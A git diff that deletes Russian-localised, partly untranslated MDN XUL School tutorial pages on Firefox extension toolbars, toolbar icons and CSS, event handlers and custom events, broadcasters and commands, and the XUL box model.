-<p>Setting the image for a toolbar button is done with CSS:</p>
-<pre>#xulschoolhello-hello-world-button {
- list-style-image: url("chrome://xulschoolhello/skin/hello-world.png");
-}
-</pre>
-<p>It's not really that simple to set the image for a toolbar button, because we need to consider the appearance of the button on different systems, and also consider the different button states, but we'll get into that further ahead.</p>
-<p>The CSS file with your toolbar styles needs to be included in the overlay file, as you would expect, but also in the chrome.manifest file. This is very important because the toolbar customization dialog won't work correctly without this. The way to include the file in the manifest is to add this line:</p>
-<pre>style chrome://global/content/customizeToolbar.xul chrome://xulschoolhello/skin/toolbar.css
-</pre>
-<p>If you are using XBL bindings (explained way ahead) for your toolbar items, you'll have to include the CSS files for those as well, each in a new line like the one above.</p>
-<p>We now have code that adds one or more buttons to the toolbar palette. The user can now use the Customize Dialog to add the buttons to the current Firefox toolbars. In most cases this is not what you want as default behavior, because it would be very hard for the user to discover your buttons. Keep in mind most users don't know how to customize toolbars in Firefox.</p>
-<p>Теперь давайте создадим свою панель инструментов - <a href="/en/XUL/toolbar" title="en/XUL/toolbar">toolbar</a>. Это также делается в в оверлее.</p>
-<pre class="brush: xml">&lt;overlay ...&gt;
- ...
- &lt;window id="main-window"&gt;
- &lt;toolbox id="navigator-toolbox"&gt;
- &lt;toolbar id="xulschoolhello-toolbar"
- &lt;!-- toolbarname="&amp;xulschoolhello.toolbarName.label;"
- accesskey="&amp;xulschoolhello.toolbar.accesskey;"
- customizable="true" mode="icons"
- context="toolbar-context-menu"
- defaultset="xulschoolhello-hello-world-button"
- insertbefore="PersonalToolbar" --&gt; /&gt;
- &lt;/toolbox&gt;
- &lt;/window&gt;
- ...
-&lt;/overlay&gt;</pre>
-<p>Our toolbar is added as a child of the <a href="/en/XUL/toolbox" title="en/XUL/toolbox">toolbox</a> element in the main browser window. The toolbox is the collection of toolbars in Firefox, including the main menu bar. Let's look at the attributes we used:</p>
-<ul>
- <li>The <em>toolbarname</em> is the name that will appear on the View &gt; Toolbars menulist. This menu allows hiding and showing any toolbar.</li>
- <li>The <em>customizable</em> attribute determines if the user can customize the toolbar. You should normally set this to <em>true</em>, unless you have strong reasons not to want users changing your toolbar.</li>
- <li>The <em>mode</em> attribute is set to <em>icons</em>, which is the usual value. This can be changed in the Customize dialog by the user.</li>
- <li>The <em>context</em> attribute should also be set if you want a customizable toolbar. It points to the id of a popup element that holds the customization options that are displayed when the user right-clicks on the toolbar. This popup is already part of the main window, so it doesn't need to be implemented again.</li>
- <li>The <em>defaultset</em> attribute lists the ids of the icons you want to include on your toolbar by default. It's a comma-separated list of ids, and it can also include other special values: <em>spacer</em>, <em>separator</em> and <em>spring</em>. <em>spacer</em> represents an empty button space, <em>separator</em> a vertical separation line and <em>spring</em> a flexible empty area that stretches.</li>
- <li>Finally, the <em>insertbefore</em> attribute places our toolbar above the Bookmarks Toolbar. This is a matter of personal preference, but the Mac OS theme seems to be designed so that the Bookmarks Toolbar is always the last one (it has a lighter color than the rest). It also makes sense from a usability perspective, since bookmarks should be very easy to access for the user.</li>
-</ul>
-<p>That's it for the basics. With this knowledge you should be able to create simple toolbars and toolbar buttons you can add to Firefox. Now we'll look deeper into the details of toolbars so that you can make <strong>great</strong> toolbars.</p>
-<h2 id="Кнопки_на_панели_инструментов">Кнопки на панели инструментов</h2>
-<p>There are several types of buttons and elements you can add to a toolbar depending on your needs. The <a href="/en/XUL/toolbarbutton" title="en/XUL/toolbarbutton">toolbarbutton</a> element has the <em>type</em> attribute that allows you to change the behavior of the button in many ways. The <em>menu</em> and <em>menu-button</em> types allow you to create buttons that open popup menus beneath them. See the Back/Forward buttons in the main Firefox toolbar for an example. Menu toolbar buttons are handy when you want to include many options in your toolbar and you don't want it to be too cluttered. The other types, <em>checkbox</em> and <em>radio</em> are useful when you have buttons that change state when the user clicks on them. Read more about this in the <a href="/en/XUL/Attribute/toolbarbutton.type" title="en/XUL/Attribute/toolbarbutton.type">type attribute</a> specification.</p>
-<div class="note">
- <p>Keep in mind some users have small screens with low resolution. If you shrink the Firefox window, you'll notice that the content resizes until it reaches its minimum size and begin to be cropped (cut), making UI elements disappear. You should test that your toolbar resizes gracefully and doesn't force Firefox to crop content before it's strictly necessary.</p>
-</div>
-<p>Добавим кнопку на нашу панель инструментов.</p>
-<pre class="brush: xml">&lt;overlay ...&gt;
- ...
- &lt;window id="main-window"&gt;
- &lt;toolbox id="navigator-toolbox"&gt;
- &lt;toolbar id="xulschoolhello-toolbar"&gt;
- &lt;toolbarbutton id="xulschoolhello-btn" label="Hello" /&gt;
- &lt;/toolbar&gt;
- &lt;/toolbox&gt;
- &lt;/window&gt;
- ...
-&lt;/overlay&gt;</pre>
-<div>
-  </div>
-<p>When you need something more elaborate than a button in your toolbar, you can use the <a href="/en/XUL/toolbaritem" title="en/XUL/toolbaritem">toolbaritem</a> element instead. This element is nothing more than a wrapper, so you can have whatever XUL content you want in it. However, you should keep in mind that odd-looking toolbars are likely to confuse and annoy users. Use custom toolbar items sparingly.</p>
-<h3 id="Иконки_кнопок_на_панели_инструментов">Иконки кнопок на панели инструментов</h3>
-<p>Создание иконок для панели инструментов является одной из наиболее трудных задач при разработке расширения. Придумать рисунки для кнопок не трудно, сложнее заставить их гармонировать с Firefox в разных операционных системах. Внимание к иконкам значительно изменилось после Firefox 4, поэтому о старых версиях здесь не будет упоминаться однако, можете проверить более ранние ревизии этого документа).</p>
-<p>Наборы иконок для Firefox:</p>
-<p><strong>Windows</strong></p>
-<p><img alt="Toolbar-win.png" class="internal default" src="/@api/deki/files/5960/=Toolbar-win.png"></p>
-<p><strong>Mac OS X (Lion и старше)</strong></p>
-<p><img alt="Toolbar-mac-lion.png" class="internal default" src="/@api/deki/files/5958/=Toolbar-mac-lion.png"></p>
-<p><strong>Mac OS X</strong></p>
-<p><img alt="Toolbar-mac.png" class="internal default" src="/@api/deki/files/5959/=Toolbar-mac.png"></p>
-<p><strong>Linux (Gnome)</strong></p>
-<p><img alt="Toolbar-gnome.png" class="internal default" src="/@api/deki/files/5957/=Toolbar-gnome.png"></p>
-<p><img alt="Toolbar-gnome-small.png" class="internal default" src="/@api/deki/files/5956/=Toolbar-gnome-small.png"></p>
-<div class="note">
- <p>Примечание: изображения выше, вероятно, не распространяются по той же лицензии CC в отличие от данного материала</p>
-</div>
-<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Вот ключевые</span> <span class="hps">сходства и различия между</span></span> этими тремя темами:</p>
-<ul>
- <li>Все ОС используют иконки 16x16 пикселей. Только у окружения Gnome есть набор с большими иконками 24x24 пикселей.</li>
- <li>Всего несколько иконок имеют различные состояния. Для состояния 'недоступно' большинство иконок обрабатываются средствами CSS.</li>
- <li>У каждого набора иконок различные поля (padding). Для Windows они образуют рамку в 19x19 пикселей, в то время как для Mac OS в 20x20 пикселей. Но это не так важно, так как сама иконка останется 16x16 и будет размещена в центре рамки.</li>
- <li>Иконки для Mac OS X Lion светлее.</li>
- <li>В Linux, иконки по умолчанию 24x24 пикселй. С тех пор как Firefox является <a class="external" href="http://www.gtk.org/" title="http://www.gtk.org/">GTK</a> приложением, используются <a class="external" href="http://library.gnome.org/devel/gtk/stable/gtk-Stock-Items.html" title="http://library.gnome.org/devel/gtk/stable/gtk-Stock-Items.html">GTK иконки</a> насколько это возможно. Значки в изображениях выше те, которых нет в GTK. GTK иконки доступны по специальным URL, например: <a class="external" rel="freelink">moz-icon://stock/gtk-go-back?size=menu</a>. Вы можете перейти по этому URL в Firefox для Linux и убедиться, что иконка отображается. Поэтому в наборе для Linux все еще остаются цветные значки.</li>
-</ul>
-<p>Now let's look at the CSS work involved in a toolbar that works on the aforementioned systems. If you want your toolbar to look right on all systems, you should consider having different icon sets for each. You should also consider using a graphic designer for this work, as it takes a lot of attention to detail to make good icons.</p>
-<p>You can have a different skin directory for each operating system using Manifest Flags in the chrome.manifest file:</p>
-<pre>skin xulschoolhello classic/1.0 skin/unix/
-skin xulschoolhello classic/1.0 skin/win/ os=WINNT
-skin xulschoolhello classic/1.0 skin/mac/ os=Darwin
-</pre>
-<p>The <a href="/en/Chrome_Registration#Manifest_flags" title="https://developer.mozilla.org/en/Chrome_Registration#Manifest_flags">osversion flag</a> can be used in case we wanted to have different icons for Mac OS X Lion and above, and others for older systems. In this example we won't bother.</p>
-<p>There is a separate skin directory for each system, with the Unix theme as the default (as most other systems are Unix-based). This makes it easy to keep the themes separate and to make changes to one of them without having to worry about the rest. On the other hand, it is often the case that there are multiple images and CSS sheets that are the same for all systems. For example, your extension logo icon will probably be the same. Having multiple copies of these files can be wasteful, so you may want to have a "common" directory.</p>
-<div class="note">
- <p>Image files use the most space in an extension package, by far. Most extensions are a few hundred kilobytes in size or smaller. If your file is getting too big, you should look into optimizing your images.</p>
-</div>
-<p>Given the way manifest files work, we have found that the best solution is to have a separate package name for OS-specific skin files.</p>
-<pre>skin xulschoolhello classic/1.0 skin/all/
-skin xulschoolhello-os classic/1.0 skin/unix/
-skin xulschoolhello-os classic/1.0 skin/win/ os=WINNT
-skin xulschoolhello-os classic/1.0 skin/mac/ os=Darwin
-</pre>
-<p>All we did here is add a new entry for "common" styles that points to the <em>all</em> directory. The OS-specific entries now use a different package name: <em>xulschoolhello-os</em>. Now you just need to be careful about when to use <em><a class="external" rel="freelink">chrome://xulschoolhello/skin/</a></em> and when to use <em><a class="external" rel="freelink">chrome://xulschoolhello-os/skin/</a></em>. It's a bit hacky, but it works well.</p>
-<p>As for the image files themselves, you may be wondering why it is that all icons are included in a single file instead of having one file for every icon. One reason is that it would be complicated to manage that many files, and it becomes more likely that changes made to some of the files lead to an inconsistent appearance that is not obvious by looking at the individual files. It is easier to be able to edit all icons in one go. There is also a performance gain from using a single file. To get the region that corresponds to a specific state of an icon, the <a href="/en/CSS/-moz-image-region" title="en/CSS/-moz-image-region">-moz-image-region</a> CSS property is used.</p>
-<p>Here are some examples of how the CSS for a <em>toolbarbutton</em> would look like on the 3 major platforms. This assumes that you've set the class<em> xs-hw-toolbarbutton</em> to all of your buttons.</p>
-<p>Windows:</p>
-<pre>/* The second and third selectors at the bottom are necessary to prevent
- conflicts with installed themes. */
-toolbarbutton.xulschoolhello-toolbarbutton,
-window:not([active="true"]) toolbarbutton.xulschoolhello-toolbarbutton,
-toolbar[iconsize="small"] toolbarbutton.xulschoolhello-toolbarbutton {
- list-style-image: url("chrome://xulschoolhello-os/skin/toolbar.png");
-}
-
-#xulschoolhello-hello-world-button {
- -moz-image-region: rect(0px, 16px, 16px, 0px);
-}
-
-</pre>
-<p>Mac OS X:</p>
-<pre>/* The second and third selectors at the bottom are necessary to prevent
-  conflicts with installed themes. */
-toolbarbutton.xulschoolhello-toolbarbutton,
-window:not([active="true"]) toolbarbutton.xulschoolhello-toolbarbutton,
-toolbar[iconsize="small"] toolbarbutton.xulschoolhello-toolbarbutton {
- list-style-image: url("chrome://xulschoolhello-os/skin/toolbar.png");
-}
-
-#xulschoolhello-hello-world-button {
- -moz-image-region: rect(0px, 16px, 16px, 0px);
-}
-</pre>
-<p>Linux:</p>
-<pre>/* The second and third selectors at the bottom are necessary to prevent
-  conflicts with installed themes. */
-toolbarbutton.xulschoolhello-toolbarbutton,
-window:not([active="true"]) toolbarbutton.xulschoolhello-toolbarbutton {
- list-style-image: url("chrome://xulschoolhello-os/skin/toolbar-large.png");
-}
-
-#xulschoolhello-hello-world-button {
- -moz-image-region: rect(0px, 24px, 24px, 0px);
-}
-
-toolbar[iconsize="small"] #xulschoolhello-hello-world-button {
- list-style-image: url("chrome://xulschoolhello-os/skin/toolbar.png");
- -moz-image-region: rect(0px, 16px, 16px, 0px);
-}
-</pre>
-<p>Several CSS rules apply by default to all toolbar buttons. These add the button-like look you want. If for some reason you want to override these styles (not recommended), you'll need the following rule:</p>
-<pre>-moz-appearance: none;
-</pre>
-<p><a href="/en/CSS/-moz-appearance" title="en/CSS/-moz-appearance">-moz-appearance</a> can be used in many cases where you want to strip the native look out of an element. This will save you a lot of time trying to remove all the CSS rules that give the buttons a native look. You'll probably still need to override a couple other CSS rules to get a completely plain look.</p>
-<h2 id="The_Customize_Toolbars_Dialog">The Customize Toolbars Dialog</h2>
-<p>Firefox has the option to customize its toolbars. We've already mentioned this before, and if you follow our recommendations, then you shouldn't have many problems making your toolbar compatible with the Customize Toolbars dialog. The dialog can be opened from View &gt; Toolbars &gt; Customize..., or by right-clicking on the main toolbar (or any toolbar with the correct <em>context</em> attribute value) and clicking on the Customize option.</p>
-<p>Other than what we have stated before, you should take into account the controls at the bottom of the Customize Toolbars dialog. You should test your toolbar buttons and items under all combinations of Icons / Icons and text / Text, Use Small Icons, and hiving your icons in different toolbars. You should also test that the Reset to Defaults button works correctly. Adding elements to your toolbar that are not <em>toolbarbutton</em> or <em>toolbaritem</em> will cause it to fail. Make sure your icons look OK while the Customize Dialog is open, and after clicking on the OK button. If you use XBL bindings, make sure everything works normally after customizing toolbars. All of this is very important to test because, when the dialog is opened, Firefox changes the DOM of the toolbar, adding wrapper elements that allow the customization. This tends to break very specific CSS, and XBL bindings lose their internal state when moved around the DOM.</p>
-<h2 id="Добавление_кнопок_на_уже_существующие_панели_инструментов">Добавление кнопок на уже существующие панели инструментов</h2>
-<p>Finally, there is the very common case where you just want to add one button to the main toolbar. In this case you still need to add the button to the palette using an overlay. In order to add your button to the main toolbar on first run, you'll have to use Javascript code. Keep in mind that you shouldn't assume anything about the location (or presence!) of any specific buttons; remember users could have moved them or removed them altogether. The <a href="/en/Code_snippets/Toolbar#Adding_button_by_default" title="en/Code snippets/Toolbar#Adding button by default">Toolbar Code Snippets</a> page has a code sample you can use to do this.</p>
-<p>Remember to validate if your button is already present, to prevent duplicates. It's also a good idea to set a preference that indicates that you added your button already, so that it can be removed permanently if the user chooses to. Another option is to use <a href="/en/Toolkit_API/extIExtension" title="en/FUEL:Extension">FUEL's firstRun</a> property, which also relies on a preference.</p>
-<p><strong>Firefox 3</strong></p>
-<pre class="brush: js">let extension = Application.extensions.get(YOUR_EXTENSION_ID);
-
-if (extension.firstRun) {
- // add button here.
-}
-</pre>
-<p><strong>Firefox 4</strong></p>
-<pre class="brush: js">Application.getExtensions(function (extensions) {
- let extension = extensions.get(YOUR_EXTENSION_ID);
-
- if (extension.firstRun) {
- // add button here.
- }
-})</pre>
-<p><strong>Both</strong></p>
-<pre class="brush: js">function firstRun(extensions) {
- let extension = extensions.get(YOUR_EXTENSION_ID);
-
- if (extension.firstRun) {
- // add button here.
- }
-}
-
-if (Application.extensions)
- firstRun(Application.extensions);
-else
- Application.getExtensions(firstRun);
-</pre>
-<p>The FUEL library currently only works on Firefox 3 and above.</p>
-<p>{{ PreviousNext("XUL_School/Adding_Menus_and_Submenus", "XUL_School/Adding_events_and_commands") }}</p>
-<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/ru/xul_school/добавление_событий_и_команд/index.html b/files/ru/xul_school/добавление_событий_и_команд/index.html
deleted file mode 100644
index ef43cd2e1c..0000000000
--- a/files/ru/xul_school/добавление_событий_и_команд/index.html
+++ /dev/null
@@ -1,93 +0,0 @@
----
-title: Добавление событий и команд
-slug: XUL_School/Добавление_событий_и_команд
-translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Adding_Events_and_Commands
----
-<p>{{ PreviousNext("XUL_School/Adding_Toolbars_and_Toolbar_Buttons", "XUL_School/The_Box_Model") }}</p>
-<h2 id="Event_handlers">Event handlers</h2>
-<p>Just like with HTML, most JavaScript code execution is triggered by event handlers attached to DOM elements. The most commonly used event is the <a href="/en/DOM/window.onload" title="en/DOM/window.onload">onload event</a>, which is used in overlays and other windows to detect when the window has loaded and then run initialization code:</p>
-<pre class="brush: js">// rest of overlay code goes here.
-window.addEventListener(
- "load", function() { XulSchoolChrome.BrowserOverlay.init(); }, false);
-</pre>
-<p>You can do something similar with the <a href="/en/DOM/window.onunload" title="en/DOM/window.onunload">onunload event</a>, to do any cleanup you may need.</p>
-<div class="note">
- Please read <a href="/en/XUL_School/Appendix_A:_Add-on_Performance" title="en/XUL School/Appendix A: Add-on Performance">Appendix A</a> for recommendations on how to use the load event to initialize your add-on without having a negative performance impact on Firefox.</div>
-<p>Another way to attach event handlers, just like HTML, is to place the handler in the XUL code:</p>
-<pre>&lt;overlay id="xulschoolhello-browser-overlay"
- onload="XulSchoolChrome.BrowserOverlay.init();"
- xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
-</pre>
-<p>We prefer the first method because it keeps a better separation of content and behavior. Also, note that the <a href="/en/DOM/element.addEventListener" title="en/DOM/element.addEventListener">addEventListener</a> method receives the event name without the "on" prefix, while element attributes do have the prefix. There's a long <a href="/en/XUL/Events" title="en/XUL/Events">list of events</a> you can listen to, and which you use depend on the situation. Elements only implement the events that are relevant to them, but there are several events that are implemented for most elements. These are some notable events you should keep in mind:</p>
-<ul>
- <li><a href="/en/XUL/Attribute/oncommand" title="en/XUL/Attribute/oncommand">oncommand</a>. This is one of the most important and commonly used events in XUL. It's very useful because it represents the most common action for input controls such as menu items, buttons and checkboxes. For a button, it represents the action of the user clicking on it, or focusing it with the keyboard and then pressing the ENTER key. It's an abstraction of the main way to interact with a control element.</li>
- <li><a href="/en/XUL/Attribute/onselect" title="en/XUL/Attribute/onselect">onselect</a>. Fired when the selection in a tree or listbox changes.</li>
- <li><a href="/en/XUL/Attribute/onclick" title="en/XUL/Attribute/onclick">onclick</a>. Triggered when the user clicks on the element, including right clicks. You shouldn't normally use this event to trigger actions on input controls such as buttons. Use oncommand instead.</li>
- <li><a href="/en/DOM/element.onfocus" title="en/DOM/element.onfocus">onfocus</a> and <a href="/en/DOM/element.onblur" title="en/DOM/element.onblur">onblur</a>. Used when an element receives or loses focus when the user is navigating with the keyboard. You can combine these with <a href="/en/CSS/-moz-user-focus" title="en/CSS/-moz-user-focus">-moz-user-focus</a> to add custom focus behavior to elements that normally wouldn't have it.</li>
- <li><a href="/En/DragDrop/Drag_and_Drop" title="en/DragDrop/Drag and Drop">Drag and drop</a>. Drag and drop operations involve several events. Since drag and drop is a complicated thing to manage, there are some high level wrappers that facilitate working with it. Also keep in mind that there are 2 drag and drop APIs, the newest (and preferred) one introduced in Firefox 3.5.</li>
-</ul>
-<p>Event handlers can take an <em>event</em> argument, which is an <a href="/en/DOM/event" title="en/DOM/event">Event</a> object that holds information on the event. You can get information on key modifiers (in case the user was holding a modifier key like Alt while performing the event), screen coordinates for mouse events, and most importantly, the target element for the event. For example:</p>
-<pre>&lt;button label="&amp;xulschoolhello.defaultGreeting.label;"
- oncommand="XulSchoolChrome.BrowserOverlay.changeGreeting(event);" /&gt;
-</pre>
-<p>Then on the Javascript code you would have something like this:</p>
-<pre class="brush: js">changeGreeting : function(aEvent) {
- // more stuff
- aEvent.target.setAttribute("label", someNewGreeting);
-}
-</pre>
-<p>The target in this example is the button element, so clicking on it will change its text. The advantage of using the <em>event</em> argument is that the method is not dependent of the specific button, so it can also be used for other elements.</p>
-<p>For more advanced event handling, you should read about <a href="/en/XUL_Event_Propagation" title="en/XUL Event Propagation">Event Propagation</a>. In a nutshell, events propagate from the root of the DOM tree all the way down to the target element and then all the way up back to the root, in the capture and bubble phases, respectively. You can capture and cancel events during any of these phases, provided that they aren't canceled before they reach the point where you intended to capture them. The <em>addEventListener</em> method allows you to control the phase where you want to handle an event, with the last argument of the function.</p>
-<div class="note">
- In general, you should avoid adding event handlers in the capturing phase, or canceling events. This can lead to unexpected behavior for the user since most events have a default behavior associated to them.</div>
-<h3 id="Custom_events">Custom events</h3>
-<p>This is a very powerful tool that you should know, even if it isn't that frequently used. The DOM <a href="/en/DOM/document.createEvent" title="en/DOM/document.createEvent">createEvent</a> function allows you to create custom events that you can dispatch and capture.</p>
-<p>Custom events serve as a good communication mechanism, specially when dealing with a somewhat common problem: communication between window XUL and web page content. It isn't hard for XUL code to control the content on pages being loaded or displayed, as we will see later on, but it can be hard for your extension XUL code to receive information from pages in a secure manner. This is because it would be very insecure to have a website JS controlling the behavior of Firefox and running JavaScript code with chrome privileges.</p>
-<p>Suppose your extension interacts with pages from a website, and you want some actions on this site to trigger actions in your extension. One way to solve this is to have the actions on the site to generate a custom event that can be easily recognized by your extension. You can capture the events in the XUL  overlay, since they'll bubble all the way up:</p>
-<pre class="brush: js">// in the overlay code.
-document.addEventListener(
- "XSHelloGreetingEvent", function(aEvent) { /* do stuff*/ }, false);
-</pre>
-<p>Be careful when doing this! You should at least validate the URL of the page that is generating the custom event, so that you know that it's coming from the right place. You should also avoid this kind of events to trigger actions that could be destructive to the user's data, because a malicious site could try to trigger these events and cause damage. There's a reason for the division between remote content and local chrome, so make sure you respect it.</p>
-<p>There's a section further ahead on Intercepting Page Loads which complements this section very well. This should give you a solid foundation to handle interaction between web content and XUL.  Additional information on custom events and how they can be used to effect communication between web content and XUL can be found in the <a href="/en/Code_snippets/Interaction_between_privileged_and_non-privileged_pages" title="en/Code snippets/Interaction between
-privileged and non-privileged pages">Interaction between privileged and non-privileged pages</a> code snippets, which describe and provide examples of this sort of communication.</p>
-<h2 id="Broadcasters">Broadcasters</h2>
-<p>Keeping a consistent UI is another important aspect of extension behavior. Maybe your extension needs to disable or enable a series of controls when the user logs in or out of a service, or when Firefox detects it's <a href="/en/Online_and_offline_events" title="en/Online and offline events">online or offline</a>. It's common that you need to change several elements at the same time, and this can be difficult to manage through JavaScript. The <a href="/en/XUL/broadcaster" title="en/XUL/broadcaster">broadcaster</a> element can help you out in these cases.</p>
-<p>First you need to add a <em>broadcaster</em> element to your XUL code, as a child of a <a href="/en/XUL/broadcasterset" title="en/XUL/broadcasterset">broadcasterset</a> element.</p>
-<pre>&lt;broadcasterset id="xulschoolhello-broadcasterset"&gt;
- &lt;broadcaster id="xulschoolhello-online-broadcaster" /&gt;
-&lt;/broadcasterset&gt;
-</pre>
-<p>These elements are completely invisible, so you can put them anywhere. It is recommended that you have them at the top of the XUL code, along with script declarations and other invisible elements with as <em>popupset</em> and <em>commandset</em>.</p>
-<p>Then you need to identify which of your XUL elements will be linked to this broadcaster, using the <a href="/en/XUL/Attribute/observes" title="en/XUL/Attribute/observes">observes attribute</a>:</p>
-<pre>&lt;menuitem id="xulschoolhello-hello-menu-item"
-  label="&amp;xulschoolhello.hello.label;"
- accesskey="&amp;xulschoolhello.helloItem.accesskey;"
- <strong>observes="xulschoolhello</strong><strong>-online-broadcaster"</strong>
-  oncommand="XULSchoolChrome.BrowserOverlay.sayHello(event);" /&gt;
-</pre>
-<p>The attribute value is set to be the <em>id</em> of the <em>broadcaster</em> element, indicating that this element will observe all attribute changes that happen in the <em>broadcaster</em>. You can have as many elements as you want observing a <em>broadcaster</em>.</p>
-<p>With that set, all you need to do now is set or remove attributes in the <em>broadcaster</em> using JavaScript. All nodes observing it will automatically have those attribute values set or removed as well. You can override pre-existing values, such as the <em>label</em> attribute value in the example.</p>
-<pre class="brush: js">let onlineBroadcaster = document.getElementById("xulschoolhello-online-broadcaster");
-
-onlineBroadcaster.setAttribute("label", "Something");
-</pre>
-<p>You can also have finer-grained control to this behavior by adding the <a href="/en/XUL/observes" title="en/XUL/observes">observes</a> element as a child to your observer node. This allows you to choose which attributes you want it to observe.</p>
-<p>Broadcasters allow you to easily maintain consistency among numerous elements without having to add much code. They also save you the trouble of having to know if a given element is present in the DOM or not. For example, if you have a customizable toolbar, you can't be sure if a given button is present or not, so it's easier to use a <em>broadcaster</em>. This way you only need to set values to the broadcaster instead of having to check if the button is there or not.</p>
-<h2 id="Commands">Commands</h2>
-<p>The <a href="/en/XUL/Attribute/command" title="en/XUL/Attribute/command">command</a> element is a specialized type of <em>broadcaster</em>, meant to be used with the <em>oncommand</em> event. This is the recommended way of centralizing common UI behavior in Firefox and extensions. Commands are heavily used in Firefox, as a quick look into the DOM Inspector should show.</p>
-<p>Their behavior is identical as <em>broadcaster</em> elements, but they should be used when <em>oncommand</em> is one of the shared attributes. Our menu example is in fact better suited for a command.</p>
-<pre>&lt;commandset id="xulschoolhello-commandset"&gt;
- &lt;command id="xulschoolhello-hello-command"
- oncommand="XULSchoolChrome.BrowserOverlay.sayHello(event);" /&gt;
- &lt;!-- More commands. --&gt;
-&lt;/commandset&gt;
-&lt;!-- More code here... --&gt;
-&lt;menuitem id="xulschoolhello-hello-menu-item"
-  label="&amp;xulschoolhello.hello.label;"
- accesskey="&amp;xulschoolhello.helloItem.accesskey;"
-  command="xulschoolhello-hello-command" /&gt;
-</pre>
-<p>Commands allow you to keep your JavaScript calls in a single place, avoiding code repetition and possible bugs. Your UI can easily scale this way. You can create an extension that adds toolbar buttons, statusbar buttons and menu items, all with equivalent behavior, and without having to repeat lots of XUL code in the process. Commands and broadcasters also facilitate working with complex form windows and dialogs. You should always keep them in mind when adding the event-driven code for your extension.</p>
-<p>{{ PreviousNext("XUL_School/Adding_Toolbars_and_Toolbar_Buttons", "XUL_School/The_Box_Model") }}</p>
-<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/ru/xul_school/коробочная_модель/index.html b/files/ru/xul_school/коробочная_модель/index.html
deleted file mode 100644
index d822bd9317..0000000000
--- a/files/ru/xul_school/коробочная_модель/index.html
+++ /dev/null
@@ -1,124 +0,0 @@
----
-title: Коробочная модель
-slug: XUL_School/Коробочная_модель
-translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/The_Box_Model
----
-<p>{{ PreviousNext("XUL_School/Adding_events_and_commands", "XUL_School/Adding_windows_and_dialogs") }}</p>
-<p>In order to master XUL, you'll need to have a fairly good understanding of its <a href="/en/XUL_Tutorial/The_Box_Model" title="en/XUL Tutorial/The Box Model">Box Model</a>. This is the system that determines how all elements are laid out visually in a XUL document. It is important to know how it works in order to make interfaces that are easy to localize, skin and use in different types of operating systems, screen sizes and resolutions.</p>
-<p>The XUL box model is a significant improvement over the HTML layout model, which is mostly vertical. With XUL you can define vertically oriented as well as horizontally oriented interfaces, providing greater flexibility in interface design.</p>
-<p>Any XUL interface can be broken down into the following basic components:</p>
-<ul>
- <li>Boxes</li>
- <li>Text</li>
- <li>Images</li>
- <li>Alignment and flexibility</li>
- <li>Widths and heights</li>
- <li>Margins and paddings</li>
-</ul>
-<p>Menus, toolbar buttons, and even the most complex elements in XUL are composed of these simple ingredients. Complex elements are created from simpler ones through XBL, which will be covered later on. Once you grasp this simple idea, you'll be able to use the DOM Inspector and CSS to mold XUL elements and layouts with great precision and flexibility.</p>
-<p>Most of the examples shown in the rest of this section were generated using the <a href="/samples/xultu/examples/aligner.xul" title="samples/xultu/examples/aligner.xul">XUL Box Alignment Example</a>. We recommend you play around with it for a while to get an idea of how the basic parts of the box model work. In order to use this page, you'll need to install the <a class="link-https" href="https://addons.mozilla.org/firefox/addon/remote-xul-manager/" title="https://addons.mozilla.org/firefox/addon/remote-xul-manager/">Remote XUL Manager</a> extension and add developer.mozilla.org to the whitelist.</p>
-<h2 id="Boxes">Boxes</h2>
-<p>A XUL box is very similar to an HTML <em>div</em>. It's an invisible rectangular container with no styling at all (<em>divs</em> may have some default styling, though). Their behavior is similar. However, one of the fundamental differences between XUL and HTML has been the fact that XUL boxes can be oriented vertically or horizontally (this behavior is being introduced into HTML standards).</p>
-<p>There are 3 basic box elements in XUL: <a href="/en/XUL/hbox" title="en/XUL/hbox">hbox</a>, <a href="/en/XUL/vbox" title="en/XUL/vbox">vbox</a> and <a href="/en/XUL/box" title="en/XUL/box">box</a>. An <em>hbox</em> is oriented horizontally by default, meaning that its child nodes are displayed next to each other from left to right. A <em>vbox</em> is oriented vertically by default, its child nodes displayed one below the other from top to bottom. A <em>box</em> is a generic version that you can orient as you please, but its default is horizontal orientation, so it's pretty much equivalent to an <em>hbox</em> and it is seldom used.</p>
-<p>Here's a very simple example of an <em>hbox</em> with 3 child buttons:</p>
-<pre>&lt;hbox&gt;
- &lt;button label="Cat" /&gt;
- &lt;button label="Parrot" /&gt;
- &lt;button label="Porcupine" /&gt;
-&lt;/hbox&gt;
-</pre>
-<p>This is how it looks on Mac OS (the black border was added for illustrative purposes, boxes don't have borders by default):</p>
-<p><img alt="" class="internal" src="/@api/deki/files/4199/=box1.png" style="width: 303px; height: 64px;"></p>
-<p>If you use a <em>vbox</em> instead, it looks like this:</p>
-<p><img alt="" class="internal" src="/@api/deki/files/4200/=box2.png" style="width: 121px; height: 132px;"></p>
-<p>The orientation of boxes (and most XUL elements) can be controlled using the <a href="/en/XUL/Attribute/orient" title="en/XUL/Attribute/orient">orient</a> attribute or the <a href="/en/CSS/box-orient" title="en/CSS/-moz-box-orient">-moz-box-orient</a> CSS property. With these you can make an <em>hbox</em> have vertical orientation and viceversa, although that isn't very useful. The CSS property may be useful on some occasions, but using the orient attribute is not recommended because it mixes content and presentation.</p>
-<h2 id="Flexibility"> Flexibility</h2>
-<p>An HTML <em>div</em> is as big as its contents unless you override its dimensions using CSS. This is similarly the case for XUL, except there are two flexibility directions to consider. An <em>hbox</em> is as big as its contents horizontally, but it will occupy all the available space vertically. You can make an <em>hbox</em> flexible horizontally with the CSS property <a href="/en/CSS/box-flex" title="en/CSS/-moz-box-flex">-moz-box-flex</a> or the <a href="/en/XUL/Attribute/flex" title="en/XUL/Attribute/flex">flex</a> attribute. The same applies to a <em>vbox</em>, but in the other direction.</p>
-<p>Unlike most style attributes, the <em>flex</em> attribute is considered acceptable to use in XUL code. This is because this attribute is used much too often, and it would require a great deal of CSS code to avoid using it. At any rate, it can always be overriden using CSS, so your extension won't lose skinability because of it.</p>
